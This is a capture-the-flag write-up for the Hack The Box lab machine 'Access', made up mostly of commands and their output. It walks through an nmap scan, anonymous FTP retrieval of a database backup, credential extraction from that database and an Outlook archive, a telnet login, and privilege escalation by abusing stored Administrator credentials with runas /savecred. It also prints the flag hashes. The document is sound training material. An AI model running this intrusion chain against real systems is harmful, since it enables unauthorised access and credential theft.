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Hackthebox Access Writeup

02 Mar 2019


Explanation:

Hackthebox is a website which has bunch of vulnerable machines in its own VPN. This is a write-up of “Access”.

Solution:

1. Initial Enumeration

Port scanning:

root@kali:~# nmap -p- 10.10.10.98 -sV -sC
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-30 09:27 EEST
Nmap scan report for 10.10.10.98
Host is up (0.035s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|_  SYST: Windows_NT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 294.22 seconds

2. Getting User

FTP enumeration:

root@kali:~# ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  09:16PM       <DIR>          Backups
08-24-18  10:00PM       <DIR>          Engineer
226 Transfer complete.
ftp>

Backups directory has a password protected zip file “Access Control.zip”.

ftp> cd engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  01:16AM                10870 Access Control.zip
226 Transfer complete.
ftp>

On the other hand, engineer directory has a mdb file “backup.mdb”

ftp> cd backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  09:16PM              5652480 backup.mdb
226 Transfer complete.

“mdb” is a file extension for old Access database file (Until Access 2003).
There is a website which shows the inside and we can download it as a csv file.
In a table auth_user, we can find interesting information.

root@kali:~# cat auth_user.csv 
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

we can use the password “access4u@security” for “Access Control.zip”.
After the extraction “Access Control.zip”, what we find is “Access Control.pst”.

root@kali:~/Downloads# ls -la
total 288
drwxr-xr-x 2 root root   4096 Feb 14 22:19  .
drwxr-xr-x 5 root root   4096 Feb 14 22:15  ..
-rw-r--r-- 1 root root 271360 Aug 24 03:13 'Access Control.pst'
-rw-r--r-- 1 root root  10870 Feb 14 22:16 'Access Control.zip'

“.pst” is an extension for data format of MS Outlook Personal Folders.
We can retrieve the inside file “AccessControl.mbox” with “readpst” command.

root@kali:~/Downloads# readpst 'Access Control.pst' 
Opening PST file and indexes...
Processing Folder "Deleted Items"
"Access Control" - 2 items done, 0 items skipped.
root@kali:~/Downloads# ls -la
total 292
drwxr-xr-x 2 root root   4096 Feb 14 22:23  .
drwxr-xr-x 5 root root   4096 Feb 14 22:15  ..
-rw-r--r-- 1 root root   3105 Feb 14 22:23 'Access Control.mbox'
-rw-r--r-- 1 root root 271360 Aug 24 03:13 'Access Control.pst'
-rw-r--r-- 1 root root  10870 Feb 14 22:16 'Access Control.zip'

The content of “Access Control.pst” is new password for user “security”.

root@kali:~# cat 'Access Control.mbox' 
From "john@megacorp.com" Fri Aug 24 02:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--boundary-LibPST-iamunique-213062548_-_-"


----boundary-LibPST-iamunique-213062548_-_-
Content-Type: multipart/alternative;
boundary="alt---boundary-LibPST-iamunique-213062548_-_-"

--alt---boundary-LibPST-iamunique-213062548_-_-
Content-Type: text/plain; charset="utf-8"

Hi there,

 

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.

 

Regards,

John
~~~~

Sounds like we found a initial credential for user “security”.
By trying this password, we can get a remote shell.

root@kali:~# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
help
Welcome to Microsoft Telnet Service 

login: security
password: # 4Cc3ssC0ntr0ller

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>

User.txt is in a desktop folder for user “security”.

C:\Users\security\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security\Desktop

10/11/2018  05:09 PM    <DIR>          .
10/11/2018  05:09 PM    <DIR>          ..
10/11/2018  04:55 PM                 0 1.txt
10/11/2018  05:03 PM                 0 112.txt
10/11/2018  04:58 PM                 0 2.txt
10/11/2018  04:56 PM                 0 finaly.txt
10/11/2018  04:40 PM                 0 h.txt
10/11/2018  04:54 PM                 0 hhha.txt
10/11/2018  04:46 PM                 0 l.txt
10/11/2018  04:48 PM                 0 llll.txt
10/11/2018  04:55 PM                 0 nnn.txt
10/11/2018  04:45 PM                 0 o.txt
10/11/2018  04:52 PM               262 ooo.txt
10/11/2018  05:09 PM                32 outputme.txt
10/11/2018  04:53 PM                 0 qqq.txt
10/11/2018  04:39 PM                 0 test.txt
10/11/2018  04:38 PM                 0 tewst
08/21/2018  11:37 PM                32 user.txt
              16 File(s)            326 bytes
               2 Dir(s)  16,681,881,600 bytes free

C:\Users\security\Desktop>type user.txt
ff1f3b48913b213a31ff6756d2553d38

3. Getting Root

By cmdkey command, we can confirm that windows credential manager is keeping a credential for user Administrator.

C:\Users\security>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
                                                       Type: Domain Password
    User: ACCESS\Administrator

We can take advantage of this weekness by “runas” command with “/savecred” parameter.
For .exe file, we have to specify its full path.
Highly recommend to spin up windows 10 VM and test the command because it does not have any error output when we attack “Access” with telnet.

C:\Users\security>runas /user:Administrator /savecred "C:\windows\system32\makecab.exe C:\Users\Administrator\desktop\root.txt c:\users\security\root.cab"

C:\Users\security>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security

02/14/2019  08:20 PM    <DIR>          .
02/14/2019  08:20 PM    <DIR>          ..
08/24/2018  07:37 PM    <DIR>          .yawcam
02/11/2019  08:04 PM           325,432 accesschk.exe
08/21/2018  10:35 PM    <DIR>          Contacts
08/28/2018  06:51 AM    <DIR>          Desktop
08/21/2018  10:35 PM    <DIR>          Documents
08/21/2018  10:35 PM    <DIR>          Downloads
08/21/2018  10:35 PM    <DIR>          Favorites
08/21/2018  10:35 PM    <DIR>          Links
08/21/2018  10:35 PM    <DIR>          Music
08/21/2018  10:35 PM    <DIR>          Pictures
02/11/2019  08:03 PM            31,761 privesc.bat
02/14/2019  08:20 PM               113 root.cab
08/21/2018  10:35 PM    <DIR>          Saved Games
08/21/2018  10:35 PM    <DIR>          Searches
02/13/2019  08:37 PM            73,802 shell.exe
08/24/2018  07:39 PM    <DIR>          Videos
               4 File(s)        431,108 bytes
              14 Dir(s)  16,761,311,232 bytes free

we can use “expand” command to extract .cab file.
By extracting root.cab, we can achieve root.txt.

C:\Users\security>expand root.cab root.txt
Microsoft (R) File Expansion Utility  Version 6.1.7600.16385
Copyright (c) Microsoft Corporation. All rights reserved.

Adding C:\Users\security\root.txt to Extraction Queue

Expanding Files ....

Expanding Files Complete ...

C:\Users\security>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security

02/14/2019  08:20 PM    <DIR>          .
02/14/2019  08:20 PM    <DIR>          ..
08/24/2018  07:37 PM    <DIR>          .yawcam
02/11/2019  08:04 PM           325,432 accesschk.exe
08/21/2018  10:35 PM    <DIR>          Contacts
08/28/2018  06:51 AM    <DIR>          Desktop
08/21/2018  10:35 PM    <DIR>          Documents
08/21/2018  10:35 PM    <DIR>          Downloads
08/21/2018  10:35 PM    <DIR>          Favorites
08/21/2018  10:35 PM    <DIR>          Links
08/21/2018  10:35 PM    <DIR>          Music
08/21/2018  10:35 PM    <DIR>          Pictures
02/11/2019  08:03 PM            31,761 privesc.bat
02/14/2019  08:20 PM               113 root.cab
08/21/2018  10:07 PM                32 root.txt
08/21/2018  10:35 PM    <DIR>          Saved Games
08/21/2018  10:35 PM    <DIR>          Searches
02/13/2019  08:37 PM            73,802 shell.exe
08/24/2018  07:39 PM    <DIR>          Videos
               5 File(s)        431,140 bytes
              14 Dir(s)  16,761,311,232 bytes free

C:\Users\security>type root.txt
6e1586cc7ab230a8d297e8f933d904cf

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